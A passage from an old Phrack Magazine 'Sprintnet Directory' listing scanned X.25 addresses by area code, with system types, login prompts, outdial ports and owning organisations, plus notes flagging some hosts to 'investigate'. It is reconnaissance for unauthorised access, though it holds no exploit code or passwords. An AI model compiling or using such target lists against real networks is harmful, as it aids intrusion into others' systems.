408 1065 $ REQUESTED APPLICATION NOT DEFINED
408 1066 $ REQUESTED APPLICATION NOT DEFINED
408 1067 $ REQUESTED APPLICATION NOT DEFINED
408 1068 $ REQUESTED APPLICATION NOT DEFINED
408 1069 $ REQUESTED APPLICATION NOT DEFINED
408 1071 $ (echo)
408 1072 $ (echo)
408 1076 $ (echo)
408 1230 $ (echo)
408 1231 $ (echo)
408 1234 $ (echo)
408 1235 $ (echo)
408 1238 *
408 1240 $ (hangs up)
408 1350 VAX/VMS
410 - RCA? MCI? Scanned: [0-300+]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
410 0 MCI YR ID?
412 - Pennsylvania Scanned: [0 - 1000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
412 30 USER ID
412 33 VAX/VMS Lender's Service, Inc. Computer System
412 34 $ ACF/VTAM Lord Corp IBM Network
412 51 *** ENTER LOGON
412 52 *** ENTER LOGON
412 55 COMMAND UNRECOGNIZED
412 60 PC2LAN Connected to Router Pit
412 61 %@CVTTAUD@dUYECVGUIiED
412 63 %@CVTTAUD@dUYECVGUIiED
412 67 SIM3278 Mellon Bank
412 70 *
412 78 #
412 79 #
412 130
412 153 *** ENTER LOGON
412 201 $ outdial (412)
412 202 $ outdial (412)
412 230 VAX/VMS You are connected to a private system.
412 231 $ Prime PRIMENET 22.1.3.r13 MECO
412 335 *
412 336 Renex Connect, SN-00300371
412 340 SIM3278 Mellon Bank
412 342 COMMAND UNRECOGNIZED FOR T11310T0
412 349 *** ENTER LOGON
412 352 *** ENTER LOGON
412 440 Unix/SysV X.29 Terminal Service (dxi-m1)
412 708 Unix/SysV X.29 Terminal Service (dxi-m1)
414 - Wisconsin Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
414 20 $ outdial (414)
414 21 $ outdial (414)
414 36 *
414 46 $ Prime PRIMENET 22.1.4-SC1 SYSU
414 49 CONNECTED TO MMISC
414 60 User Name? (MGIC)
414 120 $ outdial (414)
414 165 USER ID
414 170 *
414 241 *
414 242 *
415 - California Scanned: [0 - 1500]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
415 5 $ outdial (415)
415 7 HP-3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON.
415 11 $ outdial (415)
415 20 Dialog Information Services
415 23 $ outdial (415)
415 27 Stanford Data Center (SYSA), Forsythe Hall.
415 29A Stanford University Hospital System (SUH/SYSC).
415 31 You are not authorized to connect to this system
415 35 (echo)
415 38 DTC04.LSI.NET
415 48 Dialog Information Services
415 49 Dialog Information Services
415 53B VAX/VMS Username:
415 54 USER ID
415 56 CONNECTED TO PACKET/74
415 68A VAX/VMS Username:
415 74 *
415 108 $ outdial (415)
415 109 $ outdial (415)
415 131 $ HP-3000
415 153 CONNECTED TO PACKET/94
415 165 *
415 167 Prime PRIMENET 22.1.3 VESTEK
415 168 Unix Vestek
415 174 *
415 175 Dialog Information Services
415 215 $ outdial (415)
415 216 $ outdial (415)
415 217 $ outdial (415)
415 224 $ outdial (414)
415 232 Unix pandora
415 234 $ Unix UNIX System V Release 1.0-92b011 AT&T MIServer-S
415 475 Prime PRIMENET 22.1.3.R21 CORP.1
415 476 *
415 569 DACS
415 1030 Prime
415 1052 *
415 1053 HP-3000
415 1057 $ VAX/VMS
415 1069 *
415 1252 *
415 1255 $ DTC ERROR: User not authorized
415 1262 $ ??? ???
415 1268 TACL 1>
415 1269 TACL 1>
415 1356 *
415 1357 *
415 1600 USER ID
422 - Westinghouse Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
422 101.1 ENTER PASSWORD
422 104 DTC Type 'H' or '?' for HELP
422 105 CONNECTED TO PACKET/74
422 106 GS/1 FASD >
422 115 Westinghouse X.25 Network WCIS Gandalf pad 422115
422 122
422 123 VM/XA Westinghouse Corporate Computer Services
422 129 COMMTEX Cx-80 DATA EXCHANGE
422 131.1 annex tcc_inn>
422 131.2 >
422 131.3
422 131.4 Network Access DSU/CSU (menu driven need vt100)
422 131.5 uGn
422 131.6
422 131.7 MJgsonnesvev>3=9>722>?=3=>7/3=9>7?=????7
422 135.5
422 135.6 annex tcc_hub>
422 135.7 ** USER NOT LOGGED ON
422 135.10 ** USER NOT LOGGED ON
422 135.20 annex tcc_hub>
422 135.30
422 137.1 annex credit>
422 137.4
422 137.5 ??? < (try '?')
422 137.9 annex credit1>
422 138 Select Destination:
422 139 VM/XA Westinghouse Corporate Computer Services
422 150
422 154
422 165
422 166
422 167
422 168
422 169
422 180 WESTINGHOUSE SNA NETWORK - ENTER: L APPLNAME
422 181 WESTINGHOUSE SNA NETWORK - ENTER: L APPLNAME
422 183 MHP1201I TERMINAL CONNECTED TO PACKET/74
422 184 MHP1201I TERMINAL CONNECTED TO PACKET/74
422 185 MHP1201I TERMINAL CONNECTED TO PACKET/74
422 187 MHP1201I TERMINAL CONNECTED TO PACKET/74
422 237
422 240
422 244 WESPAC/ENTER PASSWORD
422 252
422 254.6 Westinghouse X.25 Network / Tech Control 422254
422 254.8 (drops to dos?)
422 255 VM/??? WESCO INFORMATION SYSTEMS
422 310 VAX/VMS
422 311
422 340
422 346
422 365
422 375
422 376 AOS Westinghouse Corporate Information Services
422 381 TACL 1>
422 390
422 401 AOS
422 405 AOS
422 409 AOS
422 410 AOS
422 412 AOS
422 413 AOS
422 416 AOS
422 424 AOS
422 431 AOS
422 440 AOS
422 443 AOS
422 450.2 RM >
422 450.3 CDS >
422 450.4 CDS >
422 450.5 (beep!)
422 450.6 CDS >
422 450.7 CDS >
422 450.8 RM >
422 450.9 CDS >
422 450.10 CDS >
422 450.11 CDS >
422 454
422 493 AOS
422 494 Westinghouse ESCC IBM C-80 System B Access
422 495 Westinghouse ESCC IBM C-80 System B Access
422 496 Westinghouse ESCC IBM C-80 System B Access
422 497 Westinghouse ESCC IBM C-80 System A Access
422 501 AOS
422 502 TSO pci protocol converter please logon pad 502
422 504.9 ESCC CCU PAD 504 - PLEASE ENTER PASSWORD
422 508 Westinghouse Power Generation World Headquarters
422 511 AOS
422 514 AOS
422 517 AOS
422 519 Westinghouse X.25 Network Lima, OH pad 422519
422 522 AOS
422 525 AOS
422 527 AOS Nuclear Saftey
422 535 AOS
422 539 AOS
422 541 AOS
422 544.2 RM >
422 545 AOS
422 547 VAX/VMS
422 555 AOS
422 558 Westinghouse X.25 Network Orrville, OH pad p558
422 559 AOS
422 571 AOS
422 577 AOS
422 609 AOS
422 601 Unix/SunOS
422 602 AOS
422 606 Carpenter Technology's Network
422 608 AOS
422 609 AOS
422 613 AOS
422 614
422 616 AOS
422 623 AOS
422 631 AOS
422 636 Wesmark System
422 637 AOS
422 645 AOS
422 649 AOS
422 651 AOS
422 656 Wesmark System
422 657 AOS
422 659 AOS
422 660 AOS
422 669 AOS
422 674 AOS
422 694 IBM 7171 Access please hit the ENTER key
422 695 Westinghouse ESCC IBM C-80 System G Access
422 696 Westinghouse ESCC IBM C-80 System F Access
422 697 Westinghouse ESCC IBM C-80 System E Access
422 698 Westinghouse ESCC IBM C-80 System D Access
422 702 (garbage)
422 999 WCCS Figures Service
422 1200.99 Username:
422 1205 ****POSSIBLE DATA LOSS 00 00****
422 1207 password:
422 1208.1 Westinghouse X.25 Network BALTIMORE, MD.
422 1215
422 1305 AOS
422 1304.1 Westinghouse X.25 Network Ft. Payne, AL pad 1304a
422 1305 AOS
422 1312.1 Westinghouse X.25 Network Winston-Salem, NC pad 1312-1
422 1317 AOS
422 1319
422 1320 AOS
422 1322 AOS
422 1396 VAX/VMS
422 1398 VAX/VMS
422 1405
422 1420 VAX/VMS COFVIL - APTUS Coffeyville system
422 1512 Please enter service name > (use 'wespac')
422 1720
422 1719
422 1720
422 1722 (menu driven...)
422 1724
422 1759 (menu driven...)
422 1760
422 1791
422 1792
422 1793
422 1794
422 1840.2 Prime Primecom Network 19.4Q.111 System 47
422 1852 Knutsford PAD 1
422 1855 Stansted Delta PAD Operator:
422 1860.1
422 1862
422 1884.1 >
422 1890.1 London, UK PAD 4221890
422 1901.2 $ Westinghouse EURO.SWITCH.NETWORK - WNI -BRUSSEL
422 1907 $ WESPAC PAD 4
422 1917 $ WESPAC PAD 3
422 3101.1 Class of Service:
422 3201 AOS
422 3202 AOS
422 3203 AOS
422 3204 AOS
422 3208
422 3209
422 3210
422 3211
422 3212
422 3213 AOS
422 3214 SmartView NetWork Management System
422 3219 AOS
422 3221 AOS
422 3222
422 3223
422 3228 AOS
422 3230
422 3231
422 3233.1
422 3234
422 3235 AOS
422 3236 VISTA BATCH User ID?
422 3252 AOS
422 3253 AOS
422 3254 AOS
422 3255 AOS
422 3258
422 3259
422 3260
422 3261
422 3361
422 3362
422 3363
422 3401 TSO MIS Computer Centre
422 3403 Port Select MIS Computer Center
422 3503 VAX/VMS
422 3601 Westinghouse X.25 Network O' Hara Site pad 4223601
422 3602 VAX/VMS
422 3701 VAX/VMS
422 3703 CDCNET 2 systems: SN211=CRAY, NOSF=Cyber
422 3704 CDCNET
422 3705 CDCNET
422 3753
422 3804
422 3805
422 3806
422 3807
422 3842.1 Jones Day Washington Office
422 3860.2 Jones Day Pittsburgh Office
422 3902 enter class
422 3904 VAX/VMS
422 5021
422 5039
422 5037 connected 31104220503700/
422 5043
422 5044
422 5052 VAX/VMS
422 5053 VAX/VMS
422 5060
422 5082
422 6002
422 6011
501 - Arkansas Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
501 130 *
501 131 *
501 133
502 - Kentucky Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
502 74 VAX/VMS Username:
502 75 VAX/VMS Username:
502 130 ??? B&W Corporate Computer System
502 136 CONNECTED TO PACKET/94
502 138 *
503 - Oregon Scanned: [0 - 500]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
503 20 $ outdial (503)
503 21 $ outdial (503)
503 33 Major BBS Public Data Network User-ID? new
503 120 $ outdial (503)
503 378 *
503 379 *
503 476 $ access barred
503 477 *
503 530 *
503 531 *
505 - New Mexico Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
505 30
505 153 *
505 157 *
505 159 *
505 233 $ REQUESTED APPLICATION NOT DEFINED
509 - Washington Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
509 232 $
512 - Texas Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
512 8 $ outdial (512)
512 55 *
512 63 *
512 65 *
512 136 AL /,/- (locks up)
512 138 *
512 140 AL /,/- (locks up)
512 151 *
512 152 *
512 153 *
512 253 *
512 257 Unix HP-UX ioi877
512 260 *
512 330
512 331
513 - Ohio Scanned: [0 - 300+]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
513 30 Lexis and Nexis
513 31 Port Selec MEADNET (hosts:lexis,tymnet,telenet,dialcom...)
513 32 $ $$ 5800 LOGIN SUCCESSFUL
513 37 $ Prime PRIMENET 23.3.0.r29 E03
513 55 $ Prime PRIMENET 22.1.4.R30 I01
513 57 $ Prime PRIMENET 23.3.0.r29 E04
513 58 $ VAX/VMS AEE040 is a MicroVAX 3900
513 66 *
513 67 $ Prime PRIMENET 23.3.0.r29 E01
513 68 *
513 69 *
513 72 $ Prime PRIMENET 22.1.4.R30 O1
513 73 $ Prime PRIMENET 22.1.4.R30 S2
513 75 $ Prime PRIMENET 22.1.4.R30 T01
513 77 $ Prime PRIMENET 23.3.0.r29 M01
513 78 $ Prime PRIMENET 22.1.4.R7 A02
513 79 $ Prime PRIMENET 22.1.4.R30 C2
513 80 Welcome To Develnet --CL2-- Request:
513 131 Lexis and Nexis
513 132 Lexis and Nexis
513 133 Lexis and Nexis
513 134 Lexis and Nexis
513 139 Lexis and Nexis (passthru 202365)
513 161 VAX/VMS AEE101
513 165 VAX/VMS AEE010
513 174 *
513 176 *
513 230 VAX/VMS Unison/Applied Software Designs, Inc.
513 234 $ VAX/VMS Continental PET Technologies, FLORENCE
513 236 *
513 240 *
515 - Iowa Scanned: [0 - 200]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
515 30 Lexis and Nexis
515 31 Lexis and Nexis
515 47 *
516 - New York Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
516 14 $ outdial (516)
516 15 $ outdial (516)
516 35 CCI Multilink Services, (mail)
516 38 *
516 45 Hello
516 48.1 CUSTOMER ID:
516 49.1 CUSTOMER ID:
516 140 *
516 234 *
518 - New York Scanned:[0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
518 30 MHP201A UPK12X01 APPLICATION:
518 36 MHP201A UPK12X01 APPLICATION:
518 230 MHP201A UPK12X01 APPLICATION:
518 231 MHP201A UPK12X01 APPLICATION:
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 10 of 14
<Sprintnet Directory Part 3>
602 - Arizona Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
602 22 $ outdial?
602 23 $ outdial?
602 26 $ outdial (602)
602 35 $ MSG 1: COMMAND INVALID FROM PHTIB010
602 145 $ PSI Please enter our X.29 Password:
602 148 *
602 155.2 VAX/VMS This is DTAC02 - VAX/VMS V5.5
602 165 *
602 166
602 167 *
603 - New Hampshire Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
603 20 $ Dartmouth College Time Sharing, D1
603 31 $ outdial
603 40 $ DTC01, IP 130.010.200.023
603 46 USER NUMBER--
603 47 *
603 60 VAX/VMS
603 61 **** Invalid sign-on, please try again ****
603 62 **** Invalid sign-on, please try again ****
603 63 **** Invalid sign-on, please try again ****
603 68
603 135 VM/CMS ENTERPRISE SYSTEMS ARCHITECTURE--ESA370
603 136 VM/CMS ENTERPRISE SYSTEMS ARCHITECTURE--ESA370
603 142 *
609 - New Jersey Scanned: [0 - 500]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
609 41 WHAT SERVICE PLEASE????
609 42 WHAT SERVICE PLEASE????
609 46 WHAT SERVICE PLEASE????
609 73 $ DTC DTC01.DOMAIN.ORGANIZATION
609 100 Prime
609 120 Prime
609 135 *
609 138 Prime PRIMENET 23.0.0 HCIONE
609 170 Prime
609 232 *
609 235 VAX/VMS TMA Information Services
609 238 *
609 239 *
609 242 WHAT SERVICE PLEASE????
609 243 WHAT SERVICE PLEASE????
609 244 WHAT SERVICE PLEASE????
609 245 *
609 246 *
609 247 *
609 259
611 - unknown Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
611 20
611 21
611 25 ? (Transend?)
611 26 ?
611 27 ?
611 28 ?
611 50 SYSTEM AVAILABLE FOR YOUR USE
611 55 SYSTEM AVAILABLE FOR YOUR USE
611 90 VAX/VMS Username:
611 120 VAX/VMS Username:
611 192 Prime
611 193 Prime
611 194 Prime
611 195 Prime
611 230 VAX/VMS
611 231 VAX/VMS
611 232 VAX/VMS
611 233 VAX/VMS
611 234 AOS MHCOMET System A
611 235 AOS MHCOMET System B
611 236 AOS MHCOMET System C
611 238 AOS MHCOMET System D
612 - Minnesota Scanned: [0 - 1000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
612 22 $
612 23 Westlaw
612 37 Westlaw
612 52 $ Prime C>
612 56 Westlaw
612 57 Westlaw
612 58 Westlaw
612 78 *
612 79 *
612 120 *
612 121 *
612 134 *
612 135 *
612 138 *
612 158 Westlaw
612 171 *
612 236
612 240 GS/1 MSC X.25 Gateway
612 241 *
612 259 VAX/VMS System LPCOMB - VAX/VMS V5.5-1
612 260 $ CDCNET Control Data Arden Hills CDCNET Network **investigate**
612 270 Westlaw
612 271 Westlaw
612 272 Westlaw
612 273 Westlaw
612 277 Password >
612 279 Westlaw
612 353 ENTER ID (Westlaw)
612 362 Westlaw
612 363 Westlaw
612 364 Westlaw
612 365 Westlaw
612 366 Westlaw
612 367 Westlaw
612 368 Westlaw
612 369 Westlaw
612 385 Westlaw
612 391 Westlaw
612 393 Westlaw
612 395 Westlaw
612 395 Westlaw
612 455 *
612 456
612 457 *
612 458 *
612 460 *
612 461 *
612 462 *
612 1030 *
614 - Ohio Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
614 21 STN International! Enter x:
614 22 $ outdial (614)
614 23 $ outdial (614)
614 31 STN International! Enter x:
614 32 STN International! Enter x:
614 34 STN International! Enter x:
614 36 *
614 65 Unix all attempts monitored and reported
614 140 STN International! Enter x:
614 145
614 148A
614 150A MHP201A LPKMN001 APPLICATION:
614 154A
614 155 User name?
614 156 CONNECTED TO PACKET/94
614 157 *
614 230 Port Selec? **investigate**
617 - Massachusetts Scanned: 0 - 1500
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
617 20 Prime PRIMENET 23.3.0.R20 PBN27
617 22 Prime PRIMENET 22.0.0vA BDSD
617 26 $ outdial (617)
617 37 Prime PRIMENET 23.3.0.R20 BDSH
617 47 $ ENTER ACCESS PASSWORD:
617 48 VAX/VMS Username:
617 52 VAX/VMS Username:
617 56 $ BEDPS:SCCHRV
617 63 VM/CMS IRI
617 66 Prime PRIMENET 23.3.0.R20 BDSK
617 72 Prime IRI System 2
617 74 Prime PRIMENET 23.3.0 ENB
617 78 *
617 114 $ Prime PRIMENET 23.2.0.R48 MD.B
617 115 *
617 136 $ DTC DTCX25.BOS.WMC
617 147 *
617 149 VAX/VMS Newton Headend Node MicroVAX (NWTNH2)
617 158 Prime PRIMENET 23.2.0 BDSW
617 169 Prime PRIMENET 22.0.0vA PBN36
617 178 Enter Application Request
617 226 VM/CMS
617 230 *
617 234 Unix? b1cs3!Username:
617 235 VAX/VMS Username:
617 236 VAX/VMS Username:
617 237 Unix? b1cs3!Username:
617 250 ND X.29 Server - Press 'ESCAPE' to log in
617 255 Prime PRIMENET 22.0.3vA PBN43
617 257 $ HP-3000
617 270 $ VAX/VMS COSMOS (CO6408)
617 274 *
617 279 Unix SysV oa1cs1!x25 name:
617 304 Prime PRIMENET 23.3.0.R20 PBN67
617 306 Prime PRIMENET 23.2.0 PBN53
617 308 Prime PRIMENET 23.3.0.R20 PBN71
617 311 $ outdial (617)
617 313 $ outdial (617)
617 339 *
617 340 VAX/VMS FAXON
617 341 Password:
617 346 VOS STRATUS CUSTOMER ASSISTANCE CENTER
617 348 *
617 350 Prime PRIMENET 23.2.0 PBN39
617 351 Prime PRIMENET 22.0.0vA BDSU
617 373 VAX/VMS FAXON
617 379 ??? $$ 4200 MODEL:
617 380 Prime PRIMENET 22.1.4.R7 L01
617 381 Prime PRIMENET 22.1.4.R7 P01
617 382 Prime PRIMENET 22.1.4.R7 Y01
617 383 Prime PRIMENET 22.1.4.R30 H02
617 384 Prime PRIMENET 22.1.4.R7 V01
617 385 Prime PRIMENET 22.1.4.R30 R01
617 387 Prime PRIMENET 22.1.2.R22 B01
617 388 ??? $$ 4200 MODEL:
617 392 Prime PRIMENET 22.1.4.R30 R04
617 393 Prime PRIMENET 22.1.4.R7 Y04
617 397 U#=
617 453 Prime PRIMENET 22.0.3vA PBN35
617 454 Prime PRIMENET 23.2.0 NORTON
617 455 Prime PRIMENET 23.3.r29.wg NER
617 457 Prime PRIMENET 23.3.0 NNEB
617 458 Prime PRIMENET 23.2.0.R32 CENTNE
617 460 *
617 474 Prime PRIMENET 22.1.4 MD.FL1
617 490 Prime PRIMENET 23.3.0 ALBANY
617 491 Prime PRIMENET 23.2.0 CS
617 492 Prime PRIMENET 23.0.0 FRMDLE
617 493 Prime PRIMENET 23.0.0 STMFRD
617 498 Prime PRIMENET 23.2.0 CS2NYC
617 499 Prime PRIMENET 23.2.0.R32 SYRA
617 502 Prime PRIMENET 23.2.0 APPLE
617 516 Prime PRIMENET 23.2.0.R39 PBN38
617 518 Prime PRIMENET 23.2.0 PBN41
617 519 Prime PRIMENET 23.2.0.R39 PBN54
617 521 Prime PRIMENET 22.0.3vA BDSG
617 530 ??? Maxlink International
617 534 dynapac: multi-pad.25
617 541 Prime PRIMENET 22.0.3vA BDSS
617 543 Prime PRIMENET 22.0.3vA PBN33
617 551 Prime PRIMENET 22.0.4.R7 CSP-A
617 553 Prime PRIMENET 22.0.3vA BDSQ
617 555 Prime PRIMENET 23.2.0 PBN72
617 558 Prime PRIMENET 23.2.0.CSBETA2 CSSS.A
617 560 Prime PRIMENET 23.3.0.R20 BDSN
617 562 Prime PRIMENET 22.1.4 BDSZ
617 563 Prime LOGIN PLEASE (1)
617 564 Prime PRIMENET 22.0.3 MD.NE
617 575 Prime PRIMENET 22.1.2 MF.NP1
617 576 Prime PRIMENET 22.0.1 B09
617 577 Prime PRIMENET 22.1.1.R11 B30
617 578 Prime PRIMENET 23.2.0.R3 SDSYSA
617 583 Prime PRIMENET 22.0.2 MD.HFD
617 585 Prime PRIMENET 23.2.0.R32 EDWIN
617 586 Prime PRIMENET 23.2.0 BOSMET
617 588 *
617 589 *
617 590 *
617 593 Prime PRIMENET 23.3.Beta2 BDSO
617 597 Prime PRIMENET 22.0.3vA BDSB
617 641 AOS Timeplace Inc.
617 649 PaperChase
617 654 Prime IRI System 9
617 710 Prime PRIMENET 23.2.0 MD.ATL
617 712 Prime PRIMENET 23.3.0 PEANUT
617 713 Prime PRIMENET 23.3.0 PEACH
617 714 Prime PRIMENET 23.3.0 NASH
617 715 Peime PRIMENET 23.2.0 MD-BHM
617 717 Prime PRIMENET 23.1.0 ETHEL
617 719 Prime PRIMENET 22.1.1.R11 PHILLY
617 720 Prime PRIMENET 22.1.2 CAMPHI
617 723 Prime PRIMENET 23.3.0 MD.NJ
617 724 Prime PRIMENET 23.3.0 NYMCS
617 726 Prime PRIMENET 23.3.0 NJCENT
617 727 Prime PRIMENET 22.0.1v NJPCS
617 750 Prime PRIMENET 23.2.0 PBN75
617 752 Prime PRIMENET 23.2.0 PBN68
617 850 Prime PRIMENET 22.1.4 MD-CHI
617 852 Prime PRIMENET 23.3.0 CS-LP1
617 853 Prime PRIMENET 23.2.0 MD.SL1
617 854 Prime PRIMENET 23.2.0 MD.MKW
617 855 Prime PRIMENET 23.0.0 TRNGC
617 856 Prime PRIMENET 23.2.0 CS-CHI
617 857 Prime PRIMENET 22.1.0 CS-OAK
617 861 Prime PRIMENET 22.1.3 PTCDET
617 862 Prime PRIMENET 23.3.0 DRBN1
617 863 Prime PRIMENET 23.1.0 CSTROY
617 864 Prime PRIMENET 23.3.0 CS.DET
617 865 Prime PRIMENET 23.1.0 MD.DET
617 868 Prime PRIMENET 23.2.0 MD.GR
617 869 Prime PRIMENET 22.1.1.R11 MD.CIN
617 870 Prime PRIMENET 23.2.0 CS.IND
617 871 Prime PRIMENET 22.1.3 MD.IND
617 872 Prime PRIMENET 23.2.0 MD-PIT
617 874 Prime PRIMENET 22.1.0 PITTCS
617 875 Prime PRIMENET 22.1.1.r35 MD-CLE
617 902 Prime PRIMENET 22.1.1.R11 MD.HOU
617 908 Prime PRIMENET 23.2.0 WMCS
617 910 Prime PRIMENET 23.2.0 CSWDC
617 911 Prime PRIMENET 23.2.0 VIENNA
617 912 Prime PRIMENET 23.2.0 BALT
617 915 Prime PRIMENET 23.0.0 WDCRTS
617 916 Prime PRIMENET 23.0.0 CAP1
617 928 Prime PRIMENET 23.3.0 CS.HOU
617 930 Prime PRIMENET 23.3.0 MD.AUS
617 931 Prime PRIMENET 23.3.0 CS-SCR
617 932 Prime PRIMENET 23.2.0.SCH CS.CS
617 936 Prime PRIMENET 23.2.0 MD.DAL
617 956 Prime PRIMENET 22.1.0 RELAY
617 957 Prime PRIMENET 22.1.3 ZULE
617 958 Prime PRIMENET 23.1.0 EDOC1
617 962 Prime PRIMENET 23.3.0.R20 PBN49
617 965 Prime PRIMENET 22.0.3vA BDSE
617 966 Prime PRIMENET 22.0.3vA BDST
617 978 Unix
617 980 Prime PRIMENET 22.1.1.R28 WUFPAK
617 986
617 991 Prime PRIMENET 23.2.0 PBN64
617 995 Prime PRIMENET 23.2.0.R3 ATC54
617 998 Prime PRIMENET 23.0.0 TRNGB
617 1030 *
617 1031 *
617 1033 $ CONNECTED TO PACKET/94
617 1035 $ T.S.S.G
617 1054 $ Boston Safe Deposit and Trust Company
617 1055 HP-3000
617 1075
617 1099 Unix SysV X.29 Terminal Service
617 1202 Prime PRIMENET 22.0.2 CSPLAN
617 1204 Prime PRIMENET 23.2.0 PBN70
617 1206 Prime PRIMENET 23.2.0 PBN69
617 1207 Prime PRIMENET 23.2.0 PBN73
617 1210 Prime PRIMENET 23.2.0 PBN74
617 1211 Unix SysV
617 1231 Primetec Leasing
617 1235 Prime PRIMENET 23.2.0 PBN45
617 1260 dynapac: multi-pad.25
617 1261 dynapac: multi-pad.25
617 1262 dynapac: multi-pad.25
617 1263 dynapac: multi-pad.25
617 1264 dynapac: multi-pad.25
617 1266 dynapac: multi-pad.25
617 1267 dynapac: multi-pad.25
617 1300 VAX/VMS Username:
617 1301 VAX/VMS Username:
617 1302 **** Invalid sign-on, please try again ****
617 1303 VAX/VMS Username:
617 1304 **** Invalid sign-on, please try again ****
617 1305 **** Invalid sign-on, please try again ****
617 1306 **** Invalid sign-on, please try again ****
617 1307 **** Invalid sign-on, please try again ****
617 1320 VAX/VMS Username:
617 1321 **** Invalid sign-on, please try again ****
617 1322 **** Invalid sign-on, please try again ****
617 1323 **** Invalid sign-on, please try again ****
617 1324 **** Invalid sign-on, please try again ****
617 1331 *
617 1333 *
617 1334 *
617 1335 *
617 1336 *
617 1337 *
617 1338 *
617 1339 *
617 1340 *
617 1341 *
617 1350 *
617 1351 *
617 1355 *
617 1356 *
617 1365 VAX/VMS Username:
617 1368 ??? Username(First Name):
617 1371 VAX/VMS Username:
617 1379 *
617 1441 *
617 1442 *
617 1455 *
617 1456 *
619 - California Scanned: 0 - 300
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
619 38
619 41 VM/CMS
619 51 *
619 234 $ VAX/VMS Hightower MicroVAX II (HIGHH1)
619 258 *
619 270 $ VAX/VMS Daniels Headend Node MicroVAX 3100-80 (DANLH1)
626 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
626 1000 $ Prime
626 1101 $ VAX/VMS DEV2
626 1110 $ VAX/VMS ANT1
626 1111 $ VAX/VMS ANT2
626 1120 $ VAX/VMS OAK1
626 1130 $ VAX/VMS SRA1
626 1131 $ VAX/VMS SRA2
626 1160 $ VAX/VMS SFD1
626 2000 $ Prime
669 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
669 25 $ USER ID
669 50 $ USER ID
669 75 $ USER ID
703 - Virginia Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
703 40 VAX/VMS
703 41 VAX/VMS
703 44 AOS Project HOPE
703 55 *
703 56 *
703 57 SELECT A SERVICE: TSO WYLBUR CMS PCI
703 137 *
703 157 ZA60001 - COM-PLETE IS ACTIVE
703 160 VAX/VMS
708 - Illinois Scanned: [0 - 1000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
708 34 USER ID
708 50 Please enter authorized ID:
708 54 $ VAX/VMS Duff & Phelps Corporate VAX 8350 (CO)
708 66 $ CONNECTED TO PACKET/74
708 70 VAX/VMS System LPCOMA
708 133 VAX/VMS
708 138 *
708 142 Enter user name:
708 146 *
708 152 ORBIT
708 153 ORBIT
708 154 ORBIT
708 155 ORBIT
708 156 ORBIT
708 157.4 Orbit PAD
708 157.5 Maxwell Onlines' File Transfer BBS
708 158 ncp02> enter system id (brs)
708 161 CONNECTED TO PACKET/94
708 171 Unix/SysV FTD BBS (Flowers..)
708 178 Unix/SysV FTD BBS
708 237 Prime PRIMENET 22.1.3 DZ-CHI
708 240 USER ID
708 241 USER ID
708 242 USER ID
708 243 USER ID
708 244 USER ID
708 245 USER ID
708 246 USER ID
708 247 USER ID
708 248 USER ID
708 249 USER ID
708 250 USER ID
708 251 USER ID
708 252 USER ID
708 253 USER ID
708 254 USER ID
708 260 ORBIT
